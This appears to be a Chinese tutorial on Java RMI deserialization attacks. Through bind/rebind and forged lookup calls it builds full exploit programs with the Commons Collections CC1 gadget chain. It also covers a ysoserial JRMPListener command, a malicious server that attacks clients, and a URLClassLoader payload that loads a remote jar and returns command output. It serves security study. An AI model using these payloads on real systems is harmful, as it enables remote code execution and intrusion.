除了bind方法,还有其他方式

以下方法位于RegistryImpl_Skel#dispatch中,下面是交互方法和其与dispatch的对应关系

  • 0 —- bind
  • 1 —- list
  • 2 —- lookup
  • 3 —- rebind
  • 4 —- unbind

tips:除了list和lookup两者,剩下方法在8u121后,均需要在localhost调用

List鸡肋攻击

list方法可以列出目标上绑定的所有对象

1
2
3
4
5
6
public class RegistryListAttack {
public static void main(String[] args) throws Exception {
String[] list = Naming.list("rmi://localhost:1099");
System.out.println(list);
}
}

运行的时候,会将绑定对象的信息打印出来

从上面得知该方法对应case1,其代码如下

里面只存在着writeObject方法,并没有反序列化的入口

1
2
3
4
5
6
7
8
9
10
11
case 1:
var2.releaseInputStream();
String[] var97 = var6.list();

try {
ObjectOutput var98 = var2.getResultStream(true);
var98.writeObject(var97);
break;
} catch (IOException var92) {
throw new MarshalException("error marshalling return", var92);
}

bind/rebind攻击

我们知道,这两者对应的case分别为0,3

其源码如下,两个方法中都是存在反序列化的,反序列化的东西均为 一个参数名和一个远程对象

这两者的均可以作为反序列化的入口类,若该服务端导入了CC的依赖,我们就可以利用这里的反序列化入口,进行CC链的反序列化攻击

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
case 0:
try {
var11 = var2.getInputStream();
var7 = (String)var11.readObject();
var8 = (Remote)var11.readObject();
} catch (IOException var94) {
throw new UnmarshalException("error unmarshalling arguments", var94);
} catch (ClassNotFoundException var95) {
throw new UnmarshalException("error unmarshalling arguments", var95);
} finally {
var2.releaseInputStream();
}

var6.bind(var7, var8);

try {
var2.getResultStream(true);
break;
} catch (IOException var93) {
throw new MarshalException("error marshalling return", var93);
}
case 3:
try {
var11 = var2.getInputStream();
var7 = (String)var11.readObject();
var8 = (Remote)var11.readObject();
} catch (IOException var85) {
throw new UnmarshalException("error unmarshalling arguments", var85);
} catch (ClassNotFoundException var86) {
throw new UnmarshalException("error unmarshalling arguments", var86);
} finally {
var2.releaseInputStream();
}

var6.rebind(var7, var8);

try {
var2.getResultStream(true);
break;
} catch (IOException var84) {
throw new MarshalException("error marshalling return", var84);
}

我这里在服务端导入3.2.1版本的CC依赖,尝试去打它的CC1这条链子

1
2
3
4
5
<dependency>
<groupId>commons-collections</groupId>
<artifactId>commons-collections</artifactId>
<version>3.2.1</version>
</dependency>

远程对象在两者间传递时,是传递的Proxy动态代理对象,而绑定时需要Remote类型的对象

因此在绑定时,我们需要一个实现 Remote 接口的动态代理对象

这里有一个newProxyInstance方法,可以创建动态代理,需要InvocationHandler示例,所有我们需要将恶意类转为InvocationHandler

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
@CallerSensitive
public static Object newProxyInstance(ClassLoader loader,
Class<?>[] interfaces,
InvocationHandler h)
throws IllegalArgumentException
{
......
try {
if (sm != null) {
checkNewProxyPermission(Reflection.getCallerClass(), cl);
}

final Constructor<?> cons = cl.getConstructor(constructorParams);
final InvocationHandler ih = h;
if (!Modifier.isPublic(cl.getModifiers())) {
AccessController.doPrivileged(new PrivilegedAction<Void>() {
public Void run() {
cons.setAccessible(true);
return null;
}
});
}
return cons.newInstance(new Object[]{h});
} ......
}

下面就是我们的封装代码

1
2
3
4
InvocationHandler handler = (InvocationHandler) CC1();  
Remote remote = Remote.class.cast(Proxy.newProxyInstance(
Remote.class.getClassLoader(),new Class[] { Remote.class }, handler));
registry.bind("test",remote);

EXP 如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
import org.apache.commons.collections.Transformer;  
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.TransformedMap;

import java.lang.annotation.Target;
import java.lang.reflect.Constructor;
import java.lang.reflect.InvocationHandler;
import java.lang.reflect.Proxy;
import java.rmi.Remote;
import java.rmi.registry.LocateRegistry;
import java.rmi.registry.Registry;
import java.util.HashMap;
import java.util.Map;

public class AttackRegistryEXP {
public static void main(String[] args) throws Exception{
Registry registry = LocateRegistry.getRegistry("127.0.0.1",1099);
InvocationHandler handler = (InvocationHandler) CC1();
Remote remote = Remote.class.cast(Proxy.newProxyInstance(
Remote.class.getClassLoader(),new Class[] { Remote.class }, handler));
registry.bind("test",remote);
}

public static Object CC1() throws Exception{
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(Runtime.class), // 构造 setValue 的可控参数
new InvokerTransformer("getMethod",
new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}),
new InvokerTransformer("invoke"
, new Class[]{Object.class, Object[].class}, new Object[]{null, null}),
new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"})
};
ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
HashMap<Object, Object> hashMap = new HashMap<>();
hashMap.put("value","drunkbaby");
Map<Object, Object> transformedMap = TransformedMap.decorate(hashMap, null, chainedTransformer);
Class c = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor aihConstructor = c.getDeclaredConstructor(Class.class, Map.class);
aihConstructor.setAccessible(true);
Object o = aihConstructor.newInstance(Target.class, transformedMap);
return o;
}
}

rebind攻击和bind攻击一样,只需要将bind替换为rebind

1
registry.bind("test",remote);

unbind/lookup攻击

根据前面的对应信息,我们找到两者对应的源码
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
case 2:
try {
var10 = var2.getInputStream();
var7 = (String)var10.readObject();
} catch (IOException var89) {
throw new UnmarshalException("error unmarshalling arguments", var89);
} catch (ClassNotFoundException var90) {
throw new UnmarshalException("error unmarshalling arguments", var90);
} finally {
var2.releaseInputStream();
}

var8 = var6.lookup(var7);

try {
ObjectOutput var9 = var2.getResultStream(true);
var9.writeObject(var8);
break;
} catch (IOException var88) {
throw new MarshalException("error marshalling return", var88);
}

case 4:
try {
var10 = var2.getInputStream();
var7 = (String)var10.readObject();
} catch (IOException var81) {
throw new UnmarshalException("error unmarshalling arguments", var81);
} catch (ClassNotFoundException var82) {
throw new UnmarshalException("error unmarshalling arguments", var82);
} finally {
var2.releaseInputStream();
}

var6.unbind(var7);

try {
var2.getResultStream(true);
break;
} catch (IOException var80) {
throw new MarshalException("error marshalling return", var80);
}

unbindlookup的攻击手法是一样的,我们这里用lookup来分析

实际上这两者的攻击思路和bind/rebind是相类似的,但是lookup这里只能传入String字符串,我们可以通过伪造lookup连接请求利用,修改lookup方法,使其可以传入对象

我们想要修改lookup方法,就要知道它的内部原理

其实我们从try–catch结构来看,就知道哪里是重要代码了

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
public Remote lookup(String var1) throws AccessException, NotBoundException, RemoteException {
try {
RemoteCall var2 = super.ref.newCall(this, operations, 2, 4905912898345647071L);

try {
ObjectOutput var3 = var2.getOutputStream();
var3.writeObject(var1);
} catch (IOException var18) {
throw new MarshalException("error marshalling arguments", var18);
}

super.ref.invoke(var2);

Remote var23;
try {
ObjectInput var6 = var2.getInputStream();
var23 = (Remote)var6.readObject();
} catch (IOException var15) {
throw new UnmarshalException("error unmarshalling return", var15);
} catch (ClassNotFoundException var16) {
throw new UnmarshalException("error unmarshalling return", var16);
} finally {
super.ref.done(var2);
}

return var23;
}......
}

重要的代码有以下几条,这里我们重点看传输部分

1
2
3
4
5
6
7
8
9
//传输
RemoteCall var2 = super.ref.newCall(this, operations, 2, 4905912898345647071L);
ObjectOutput var3 = var2.getOutputStream();
var3.writeObject(var1);
super.ref.invoke(var2);

//接收
ObjectInput var6 = var2.getInputStream();
var23 = (Remote)var6.readObject();

我们这里只需要想办法去获取newCall中的super.ref和operations,就能去伪造一个lookup请求

别的师傅通过反射来获取operations,我找到operations赋值地方,我这里直接用这个赋值

1
private static final Operation[] operations = new Operation[]{new Operation("void bind(java.lang.String, java.rmi.Remote)"), new Operation("java.lang.String list()[]"), new Operation("java.rmi.Remote lookup(java.lang.String)"), new Operation("void rebind(java.lang.String, java.rmi.Remote)"), new Operation("void unbind(java.lang.String)")};

通过调试,我找到了super.ref的地方(比较笨,只能通过调试来)

registry中的第一个属性

通过反射获取Field数组,从中找到UnicastRef

1
2
3
Field[] fields_0 = registry.getClass().getSuperclass().getSuperclass().getDeclaredFields();
fields_0[0].setAccessible(true);
UnicastRef ref = (UnicastRef) fields_0[0].get(registry);

EXP如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
public static void main(String[] args) throws Exception{
Registry registry = LocateRegistry.getRegistry("127.0.0.1",1099);
InvocationHandler handler = (InvocationHandler) CC1();
Remote remote = Remote.class.cast(Proxy.newProxyInstance(
Remote.class.getClassLoader(),new Class[] { Remote.class }, handler));

Field[] fields_0 = registry.getClass().getSuperclass().getSuperclass().getDeclaredFields();
fields_0[0].setAccessible(true);
UnicastRef ref = (UnicastRef) fields_0[0].get(registry);

//获取operations

Operation[] operations = new Operation[]{new Operation("void bind(java.lang.String, java.rmi.Remote)"), new Operation("java.lang.String list()[]"), new Operation("java.rmi.Remote lookup(java.lang.String)"), new Operation("void rebind(java.lang.String, java.rmi.Remote)"), new Operation("void unbind(java.lang.String)")};

// 伪造lookup的代码,去伪造传输信息
RemoteCall var2 = ref.newCall((RemoteObject) registry, operations, 2, 4905912898345647071L);
ObjectOutput var3 = var2.getOutputStream();
var3.writeObject(remote);
ref.invoke(var2);
}
public static Object CC1() throws Exception{
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(Runtime.class), // 构造 setValue 的可控参数
new InvokerTransformer("getMethod",
new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}),
new InvokerTransformer("invoke"
, new Class[]{Object.class, Object[].class}, new Object[]{null, null}),
new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"})
};
ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
HashMap<Object, Object> hashMap = new HashMap<>();
hashMap.put("value","drunkbaby");
Map<Object, Object> transformedMap = TransformedMap.decorate(hashMap, null, chainedTransformer);
Class c = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor aihConstructor = c.getDeclaredConstructor(Class.class, Map.class);
aihConstructor.setAccessible(true);
Object o = aihConstructor.newInstance(Target.class, transformedMap);
return o;
}

攻击客户端

我们之前分析过,在客户端中,在unmarshalValue()方法中,存在着入口

注册中心攻击客户端

对于注册中心看,我们还是上面说的那几种方式触发

除了unbindrebind方法,都会返回数据给客户端,当序列化数据到了客户端时就会反序列化,我们需要控制注册中心返回的数据,就可以实现对客户端的攻击

我们使用ysoserial的JRMPListener,命令如下

1
java -cp .\ysoserial-all.jar ysoserial.exploit.JRMPListener 1099 CommonsCollections1 'calc'

然后使用客户端访问

1
2
3
4
public static void main(String[] args) throws Exception {
Registry registry = LocateRegistry.getRegistry("127.0.0.1",1099);
registry.list();
}

服务端攻击客户端

服务端攻击客户端,通过 服务端返回Object对象 来攻击

传递回来不一定是基础数据类型(String,int),也有可能是对象,当服务端返回给客户端一个对象时,客户端就要进行对应的反序列化操作。

我们需要伪造一个服务器,当客户端调用某个远程方法时,返回的参数是我们的恶意对象

服务端接口类

1
2
3
public interface IRemoteObj extends Remote {
public String sayHello(String keywords) throws RemoteException;
}

服务端接口实现类,返回CC1Object对象(这里不是很懂,对handler的封装是怎么个事)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
public RemoteObjImpl() throws RemoteException {

}

public Object sayHello() throws Exception {
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",null}),
new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{null,null}),
new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"})
};

ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);

Transformer transformerChain = new ChainedTransformer(transformers);
Map innerMap = new HashMap();
Map outerMap = LazyMap.decorate(innerMap, transformerChain);

Class clazz = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor construct = clazz.getDeclaredConstructor(Class.class, Map.class);
construct.setAccessible(true);
InvocationHandler handler = (InvocationHandler) construct.newInstance(Retention.class, outerMap);
Map proxyMap = (Map) Proxy.newProxyInstance(Map.class.getClassLoader(), new Class[]{Map.class}, handler);
handler = (InvocationHandler) construct.newInstance(Retention.class, proxyMap);


return (Object) handler;

}
}

服务端创建注册中心并绑定

1
2
3
4
5
public static void main(String[] args) throws Exception{
RemoteObjImpl remoteObj = new RemoteObjImpl();
Registry registry = LocateRegistry.createRegistry(1099);
registry.bind("remoteObj",remoteObj);
}

用服务器对客户端进行远程方法的调用

1
2
3
4
5
6
7
8
public class RMIClient implements Serializable {

public static void main(String[] args) throws Exception {
Registry registry = LocateRegistry.getRegistry("127.0.0.1",1099);
IRemoteObj remoteObj = (IRemoteObj)registry.lookup("remoteObj");
remoteObj.sayHello();
}
}

攻击服务端

客户端攻击服务端

  • jdk 1.7
  • CC3.2.1依赖
  • RMI提供的数据类型有Object类型

服务端代码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
import java.rmi.Naming;  
import java.rmi.RemoteException;
import java.rmi.registry.LocateRegistry;
import java.rmi.server.UnicastRemoteObject;

public class VictimServer {
public class RemoteHelloWorld extends UnicastRemoteObject implements RemoteObj {
protected RemoteHelloWorld() throws RemoteException {
super();
}

public String hello() throws RemoteException {
System.out.println("调用了hello方法");
return "Hello world";
}

public void evil(Object obj) throws RemoteException {
System.out.println("调用了evil方法,传递对象为:"+obj);
}

@Override
public String sayHello(String keywords) throws RemoteException {
return null;
}
}
private void start() throws Exception {
RemoteHelloWorld h = new RemoteHelloWorld();
LocateRegistry.createRegistry(1099);
Naming.rebind("rmi://127.0.0.1:1099/Hello", h);
}

public static void main(String[] args) throws Exception {
new VictimServer().start();
}
}

客户端代码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
import Server.IRemoteHelloWorld;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.TransformedMap;

import java.lang.annotation.Target;
import java.lang.reflect.Constructor;
import java.rmi.Naming;
import java.util.HashMap;
import java.util.Map;
import Server.IRemoteHelloWorld;

public class RMIClient {
public static void main(String[] args) throws Exception {
IRemoteHelloWorld r = (IRemoteHelloWorld) Naming.lookup("rmi://127.0.0.1:1099/Hello");
r.evil(getpayload());
}

public static Object getpayload() throws Exception{
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", new Class[0]}),
new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, new Object[0]}),
new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"})
};
Transformer transformerChain = new ChainedTransformer(transformers);

Map map = new HashMap();
map.put("value", "lala");
Map transformedMap = TransformedMap.decorate(map, null, transformerChain);

Class cl = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor ctor = cl.getDeclaredConstructor(Class.class, Map.class);
ctor.setAccessible(true);
Object instance = ctor.newInstance(Target.class, transformedMap);
return instance;
}

}

应该是传输Object对象过程中,需要反序列化导致的攻击吧

RMI进阶攻击方式

URLClassLoader实现回显攻击

攻击注册中心时,注册中心遇到异常时,会直接把异常发回来,这里我们利用URLClassLoader远程加载jar/class文件,传入服务端,反序列化调用其任意方法,在方法内抛出错误,错误返回客户端

远程Dome

1
2
3
4
5
6
7
8
9
10
11
12
13
14
public class ErrorBaseExec {
public static void doExec(String args) throws Exception {
Process exec = Runtime.getRuntime().exec(args);
BufferedReader bufferedReader = new BufferedReader(new InputStreamReader(exec.getInputStream()));
StringBuffer stringBuffer = new StringBuffer();
String line;
while((line = bufferedReader.readLine()) != null) {
stringBuffer.append(line).append("\n");
}
String result = stringBuffer.toString();
Exception e = new Exception(result);
throw e;
}
}

制作jar包命令如下

1
2
javac ErrorBaseExec.java
jar -cvf RMIexploit.jar ErrorBaseExec.class

客户端Poc如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.TransformedMap;

import java.lang.annotation.Target;
import java.lang.reflect.Constructor;
import java.lang.reflect.InvocationHandler;
import java.lang.reflect.Proxy;

import java.net.URLClassLoader;

import java.rmi.Remote;
import java.rmi.registry.LocateRegistry;
import java.rmi.registry.Registry;

import java.util.HashMap;
import java.util.Map;


public class Client {
public static Constructor<?> getFirstCtor(final String name)
throws Exception {
final Constructor<?> ctor = Class.forName(name).getDeclaredConstructors()[0];
ctor.setAccessible(true);

return ctor;
}

public static void main(String[] args) throws Exception {
String ip = "127.0.0.1"; //注册中心ip
int port = 1099; //注册中心端口
String remotejar = 远程jar;
String command = "whoami";
final String ANN_INV_HANDLER_CLASS = "sun.reflect.annotation.AnnotationInvocationHandler";

try {
final Transformer[] transformers = new Transformer[] {
new ConstantTransformer(java.net.URLClassLoader.class),
new InvokerTransformer("getConstructor",
new Class[] { Class[].class },
new Object[] { new Class[] { java.net.URL[].class } }),
new InvokerTransformer("newInstance",
new Class[] { Object[].class },
new Object[] {
new Object[] {
new java.net.URL[] { new java.net.URL(remotejar) }
}
}),
new InvokerTransformer("loadClass",
new Class[] { String.class },
new Object[] { "ErrorBaseExec" }),
new InvokerTransformer("getMethod",
new Class[] { String.class, Class[].class },
new Object[] { "do_exec", new Class[] { String.class } }),
new InvokerTransformer("invoke",
new Class[] { Object.class, Object[].class },
new Object[] { null, new String[] { command } })
};
Transformer transformedChain = new ChainedTransformer(transformers);
Map innerMap = new HashMap();
innerMap.put("value", "value");

Map outerMap = TransformedMap.decorate(innerMap, null,
transformedChain);
Class cl = Class.forName(
"sun.reflect.annotation.AnnotationInvocationHandler");
Constructor ctor = cl.getDeclaredConstructor(Class.class, Map.class);
ctor.setAccessible(true);

Object instance = ctor.newInstance(Target.class, outerMap);
Registry registry = LocateRegistry.getRegistry(ip, port);
InvocationHandler h = (InvocationHandler) getFirstCtor(ANN_INV_HANDLER_CLASS)
.newInstance(Target.class,
outerMap);
Remote r = Remote.class.cast(Proxy.newProxyInstance(
Remote.class.getClassLoader(),
new Class[] { Remote.class }, h));
registry.bind("liming", r);
} catch (Exception e) {
try {
System.out.print(e.getCause().getCause().getCause().getMessage());
} catch (Exception ee) {
throw e;
}
}
}
}

0%